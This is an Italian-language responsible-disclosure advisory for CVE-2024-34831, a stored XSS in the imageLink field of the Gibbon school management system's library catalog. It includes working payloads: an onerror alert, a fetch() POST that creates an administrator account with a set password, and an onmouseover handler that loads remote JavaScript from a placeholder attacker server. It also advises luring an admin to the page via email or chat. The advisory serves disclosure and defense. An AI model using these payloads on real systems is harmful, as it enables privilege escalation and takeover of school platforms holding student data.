
Divulgazione di CVE-2024-34831
Gibbon è un fantastico sistema di gestione scolastica open source completo. Molto lavoro è in corso per rinnovare la base di codice piuttosto vecchia.
Autore: Christian Bajada
Il parametro imageLink durante la modifica/invio di nuovi libri (/modules/Library/library_manage_catalog_editProcess.php) è vulnerabile a XSS. Gli utenti con il permesso di gestione del catalogo possono sfruttare questa vulnerabilità causando l'esecuzione di script arbitrari per utenti con permessi più elevati, portando all'elevazione dei privilegi.
[http://x](http://x/)" onerror='alert(1)' e il codice alert verrà eseguito al caricamento della pagina quando si carica la pagina della libreria:

Questa sezione spiega come questa vulnerabilità possa essere utilizzata per qualcosa di più pericoloso di un semplice popup alert(1). Intendiamo indurre un amministratore connesso a creare senza problemi un altro amministratore accessibile dall'attaccante.
Il campo imageLink è troppo piccolo per permetterci di invocare funzionalità significative sulla piattaforma Gibbon. Quello che possiamo fare è semplicemente ospitare il Javascript altrove e farlo scaricare ed eseguire dal browser. La mancanza di CSP lo rende possibile.
fetch('./modules/User%20Admin/user_manage_addProcess.php', { method: 'POST', body: new URLSearchParams({ title: 'Mr.', surname: 'Cat', firstName: 'Hex', preferredName: 'Hex', 'officialName': 'Hex', gender: 'M', dob: '01/04/2024', gibbonRoleIDPrimary: '001', username: 'hexthecat', passwordNew: 'Hexed001', passwordConfirm: 'Hexed001', status: 'full', canLogin: 'Y', passwordForceReset: 'Y' }) });
http://books.google.com/books?id=SluXuAAACAAJ&printsec=frontcover&img=1&zoom=1&source=gbs_api" onmouseover="$.getScript('https://<yourserver.com>/payload.js')"
È necessario attendere fino a quando l'amministratore naviga nel catalogo della libreria o convincerlo tramite messaggistica istantanea, email o qualsiasi altro canale.
L'atto di passare il mouse sopra (onmouseover) l'immagine del libro farà sì che il payload venga prelevato dalla posizione (in questo caso <yourserver.com>) e venga eseguito. Questo provoca la creazione di un utente amministratore a cui l'utente malintenzionato può ora accedere. È possibile utilizzare anche il listener 'onerror' per far eseguire immediatamente il payload senza dover passare sopra l'immagine.
Puoi controllare l'utente creato nel menu ADMIN > User Admin

Pubblicato secondo le linee guida per la divulgazione responsabile https://github.com/GibbonEdu/core/security.